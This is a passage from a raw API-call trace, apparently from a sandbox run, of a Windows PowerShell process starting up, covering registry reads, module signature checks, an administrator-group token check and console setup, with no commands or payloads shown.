(pCertContext=0x737b658) returned 1 [0118.208] CertFreeCertificateContext (pCertContext=0x737bab8) returned 1 [0118.208] CertFreeCertificateContext (pCertContext=0x73ada90) returned 1 [0118.208] CertFreeCertificateContext (pCertContext=0x73c3c30) returned 1 [0118.208] CertFreeCertificateContext (pCertContext=0x73c2ba0) returned 1 [0119.440] CoGetContextToken (in: pToken=0x4c0f820 | out: pToken=0x4c0f820) returned 0x0 [0119.440] CObjectContext::QueryInterface () returned 0x0 [0119.440] CObjectContext::ContextCallback () returned 0x0 [0120.005] Release () returned 0x1 [0120.005] CloseHandle (hObject=0xa8c) returned 1 [0120.005] CloseHandle (hObject=0xa6c) returned 1 [0120.006] CloseHandle (hObject=0xa5c) returned 1 [0120.006] CloseHandle (hObject=0xa7c) returned 1 [0120.006] CloseHandle (hObject=0xa38) returned 1 [0120.006] CloseHandle (hObject=0xa44) returned 1 [0120.006] CloseHandle (hObject=0xa30) returned 1 [0120.006] CloseHandle (hObject=0xa70) returned 1 [0120.006] CloseHandle (hObject=0xa60) returned 1 [0120.006] CloseHandle (hObject=0xa88) returned 1 [0120.006] CertFreeCertificateContext (pCertContext=0x737b3d8) returned 1 [0120.006] CertFreeCertificateContext (pCertContext=0x737b888) returned 1 [0120.512] LocalFree (hMem=0x7618c70) returned 0x0 [0120.513] EtwEventUnregister (RegHandle=0x7679bd8) returned 0x0 [0120.523] RegCloseKey (hKey=0x80000004) returned 0x0 [0120.546] CoGetContextToken (in: pToken=0x4c0f820 | out: pToken=0x4c0f820) returned 0x0 [0120.546] CObjectContext::QueryInterface () returned 0x0 [0120.546] CObjectContext::ContextCallback () returned 0x0 [0150.731] Release () returned 0x4 [0150.731] CObjectContext::Release () returned 0x3 [0150.732] CertFreeCertificateContext (pCertContext=0x737b978) returned 1 [0150.732] CloseHandle (hObject=0xa1c) returned 1 [0150.732] CloseHandle (hObject=0xa0c) returned 1 [0150.732] CloseHandle (hObject=0x874) returned 1 [0150.732] CloseHandle (hObject=0x9ec) returned 1 [0150.732] CloseHandle (hObject=0x858) returned 1 [0150.732] CloseHandle (hObject=0xa5c) returned 1 [0150.732] CloseHandle (hObject=0x9f0) returned 1 [0150.733] CloseHandle (hObject=0xa60) returned 1 [0150.733] CertFreeCertificateContext (pCertContext=0x737b798) returned 1 [0150.733] CloseHandle (hObject=0xa7c) returned 1 [0150.733] CloseHandle (hObject=0xa38) returned 1 [0150.733] CloseHandle (hObject=0xa44) returned 1 [0150.733] CloseHandle (hObject=0xa30) returned 1 [0165.269] CloseHandle (hObject=0x514) returned 1 [0165.269] CloseHandle (hObject=0x9e4) returned 1 [0165.269] CloseHandle (hObject=0xa30) returned 1 [0165.269] CloseHandle (hObject=0x910) returned 1 [0165.269] CloseHandle (hObject=0x8fc) returned 1 [0165.269] CloseHandle (hObject=0x8f4) returned 1 [0165.270] CloseHandle (hObject=0x518) returned 1 Thread: id = 62 os_tid = 0x3c8 Thread: id = 63 os_tid = 0x728 [0074.970] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0074.975] CoGetContextToken (in: pToken=0x70bf824 | out: pToken=0x70bf824) returned 0x0 [0074.975] CObjectContext::QueryInterface () returned 0x0 [0074.975] CObjectContext::GetCurrentThreadType () returned 0x0 [0074.975] Release () returned 0x0 [0074.975] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0074.976] CoUninitialize () [0074.976] RoInitialize () returned 0x1 [0074.976] RoUninitialize () returned 0x0 [0075.251] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x104, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0075.407] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0075.407] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0075.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x70bebc0) returned 1 [0075.408] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x70bec3c | out: lpFileInformation=0x70bec3c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce8766, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x71ce8766, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x71d0e9d1, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x623400)) returned 1 [0075.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x70bebbc) returned 1 [0075.414] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x70becb0 | out: lpdwHandle=0x70becb0) returned 0x94c [0075.526] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x4f89ef0 | out: lpData=0x4f89ef0) returned 1 [0075.528] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x70bec84, puLen=0x70bec80 | out: lplpBuffer=0x70bec84*=0x4f89f8c, puLen=0x70bec80) returned 1 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x4f8a068, puLen=0x70bec00) returned 1 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x4f8a0bc, puLen=0x70bec00) returned 1 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x4f8a118, puLen=0x70bec00) returned 1 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x4f8a158, puLen=0x70bec00) returned 1 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x4f8a1c0, puLen=0x70bec00) returned 1 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x4f8a25c, puLen=0x70bec00) returned 1 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x4f8a2c0, puLen=0x70bec00) returned 1 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x4f8a33c, puLen=0x70bec00) returned 1 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x4f89fe4, puLen=0x70bec00) returned 1 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x0, puLen=0x70bec00) returned 0 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x0, puLen=0x70bec00) returned 0 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x70bec04, puLen=0x70bec00 | out: lplpBuffer=0x70bec04*=0x0, puLen=0x70bec00) returned 0 [0075.531] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x70bebf8, puLen=0x70bebf4 | out: lplpBuffer=0x70bebf8*=0x4f89f8c, puLen=0x70bebf4) returned 1 [0075.532] VerLanguageNameW (in: wLang=0x0, szLang=0x70be988, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0075.559] VerQueryValueW (in: pBlock=0x4f89ef0, lpSubBlock="\\", lplpBuffer=0x70bec08, puLen=0x70bec04 | out: lplpBuffer=0x70bec08*=0x4f89f18, puLen=0x70bec04) returned 1 [0075.569] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bec48 | out: phkResult=0x70bec48*=0x4f0) returned 0x0 [0075.570] RegQueryValueExW (in: hKey=0x4f0, lpValueName="ServiceStackVersion", lpReserved=0x0, lpType=0x70bec68, lpData=0x0, lpcbData=0x70bec64*=0x0 | out: lpType=0x70bec68*=0x1, lpData=0x0, lpcbData=0x70bec64*=0x8) returned 0x0 [0075.570] RegQueryValueExW (in: hKey=0x4f0, lpValueName="ServiceStackVersion", lpReserved=0x0, lpType=0x70bec68, lpData=0x4f8c2ec, lpcbData=0x70bec64*=0x8 | out: lpType=0x70bec68*=0x1, lpData="3.0", lpcbData=0x70bec64*=0x8) returned 0x0 [0075.601] RegCloseKey (hKey=0x4f0) returned 0x0 [0075.601] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf368 | out: phkResult=0x70bf368*=0x4f0) returned 0x0 [0075.601] RegQueryValueExW (in: hKey=0x4f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x70bf388, lpData=0x0, lpcbData=0x70bf384*=0x0 | out: lpType=0x70bf388*=0x1, lpData=0x0, lpcbData=0x70bf384*=0x56) returned 0x0 [0075.601] RegQueryValueExW (in: hKey=0x4f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x70bf388, lpData=0x4f8df50, lpcbData=0x70bf384*=0x56 | out: lpType=0x70bf388*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x70bf384*=0x56) returned 0x0 [0075.602] RegCloseKey (hKey=0x4f0) returned 0x0 [0075.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0075.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0075.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x70bf324) returned 1 [0075.606] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x70bf3a0 | out: lpFileInformation=0x70bf3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0075.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x70bf320) returned 1 [0075.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0075.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0075.610] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf330 | out: phkResult=0x70bf330*=0x4f0) returned 0x0 [0075.611] RegQueryValueExW (in: hKey=0x4f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x70bf350, lpData=0x0, lpcbData=0x70bf34c*=0x0 | out: lpType=0x70bf350*=0x1, lpData=0x0, lpcbData=0x70bf34c*=0x56) returned 0x0 [0075.611] RegQueryValueExW (in: hKey=0x4f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x70bf350, lpData=0x4f8e60c, lpcbData=0x70bf34c*=0x56 | out: lpType=0x70bf350*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x70bf34c*=0x56) returned 0x0 [0075.611] RegCloseKey (hKey=0x4f0) returned 0x0 [0075.625] CoTaskMemAlloc (cb=0x20c) returned 0x32b8220 [0075.626] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x32b8220 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0075.626] CoTaskMemFree (pv=0x32b8220) [0075.626] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0075.626] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0075.626] CoTaskMemAlloc (cb=0x20c) returned 0x32b8220 [0075.626] SHGetFolderPathW (in: hwnd=0x0, csidl=41, hToken=0x0, dwFlags=0x0, pszPath=0x32b8220 | out: pszPath="C:\\WINDOWS\\SysWOW64") returned 0x0 [0075.627] CoTaskMemFree (pv=0x32b8220) [0075.627] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\SysWOW64", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0075.627] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\SysWOW64", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\SysWOW64", lpFilePart=0x0) returned 0x13 [0075.627] CoTaskMemAlloc (cb=0x20c) returned 0x32b8220 [0075.627] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x32b8220 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0075.627] CoTaskMemFree (pv=0x32b8220) [0075.627] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0075.627] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0075.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x70bf298) returned 1 [0075.631] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x70bf314 | out: lpFileInformation=0x70bf314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0075.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x70bf294) returned 1 [0075.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0075.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0075.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x70bf26c) returned 1 [0075.633] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0075.633] GetFileType (hFile=0x4f0) returned 0x1 [0075.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x70bf268) returned 1 [0075.633] GetFileType (hFile=0x4f0) returned 0x1 [0075.696] WTGetSignatureInfo () returned 0x0 [0076.921] CertDuplicateCertificateContext (pCertContext=0x737c788) returned 0x737c788 [0076.961] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf2d0 | out: phkResult=0x70bf2d0*=0x6fc) returned 0x0 [0076.963] RegQueryValueExW (in: hKey=0x6fc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x70bf2f0, lpData=0x0, lpcbData=0x70bf2ec*=0x0 | out: lpType=0x70bf2f0*=0x1, lpData=0x0, lpcbData=0x70bf2ec*=0x56) returned 0x0 [0076.963] RegQueryValueExW (in: hKey=0x6fc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x70bf2f0, lpData=0x4fc8c98, lpcbData=0x70bf2ec*=0x56 | out: lpType=0x70bf2f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x70bf2ec*=0x56) returned 0x0 [0076.963] RegCloseKey (hKey=0x6fc) returned 0x0 [0076.963] CoTaskMemAlloc (cb=0x10) returned 0x73f91c8 [0076.963] CoTaskMemAlloc (cb=0x30) returned 0x740c838 [0076.964] WinVerifyTrust () returned 0x0 [0077.061] CoTaskMemFree (pv=0x740c838) [0077.061] CoTaskMemFree (pv=0x73f91c8) [0077.064] CertFreeCertificateContext (pCertContext=0x737c788) returned 1 [0077.071] CloseHandle (hObject=0x4f0) returned 1 [0077.108] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0077.221] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0077.339] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0077.417] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0077.517] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0077.599] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0077.625] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0077.736] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0077.795] GetCurrentProcess () returned 0xffffffff [0077.796] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x70bf360 | out: TokenHandle=0x70bf360*=0x4d8) returned 1 [0077.798] GetTokenInformation (in: TokenHandle=0x4d8, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x70bf364 | out: TokenInformation=0x0, ReturnLength=0x70bf364) returned 0 [0077.799] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x73bd9e8 [0077.799] GetTokenInformation (in: TokenHandle=0x4d8, TokenInformationClass=0x8, TokenInformation=0x73bd9e8, TokenInformationLength=0x4, ReturnLength=0x70bf364 | out: TokenInformation=0x73bd9e8, ReturnLength=0x70bf364) returned 1 [0077.800] LocalFree (hMem=0x73bd9e8) returned 0x0 [0077.800] DuplicateTokenEx (in: hExistingToken=0x4d8, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x70bf36c | out: phNewToken=0x70bf36c*=0x704) returned 1 [0077.801] CheckTokenMembership (in: TokenHandle=0x704, SidToCheck=0x4feb088*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x70bf37c | out: IsMember=0x70bf37c) returned 1 [0077.801] CloseHandle (hObject=0x704) returned 1 [0077.876] CoTaskMemAlloc (cb=0x804) returned 0x7429fc0 [0077.877] GetConsoleTitleW (in: lpConsoleTitle=0x7429fc0, nSize=0x400 | out: lpConsoleTitle="Windows PowerShell") returned 0x13 [0077.894] CoTaskMemFree (pv=0x7429fc0) [0077.939] CoTaskMemAlloc (cb=0x804) returned 0x7429fc0 [0077.939] GetConsoleTitleW (in: lpConsoleTitle=0x7429fc0, nSize=0x400 | out: lpConsoleTitle="Windows PowerShell") returned 0x13 [0077.945] CoTaskMemFree (pv=0x7429fc0) [0077.957] SetConsoleTitleW (lpConsoleTitle="Administrator: Windows PowerShell") returned 1 [0078.231] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.284] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.327] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.338] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.386] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.422] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.464] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.544] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.584] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.614] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.714] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.776] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.780] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.910] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.939] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0078.960] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.012] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.028] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.048] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.072] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.086] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0079.127] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0080.067] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x70be9e0, nSize=0x80 | out: lpBuffer="က滸က滸") returned 0x0 [0080.541] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x70be8ac, nSize=0x80 | out: lpBuffer="܋籶狚郵迖က滸က滸") returned 0x0 [0080.565] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x70bf1ac | out: phkResult=0x70bf1ac*=0x76c) returned 0x0 [0080.566] RegQueryInfoKeyW (in: hKey=0x76c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x70bf1fc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x70bf1f8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x70bf1fc*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x70bf1f8*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0080.566] RegEnumKeyExW (in: hKey=0x76c, dwIndex=0x0, lpName=0x50f676c, lpcchName=0x70bf218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x70bf218, lpClass=0x0, 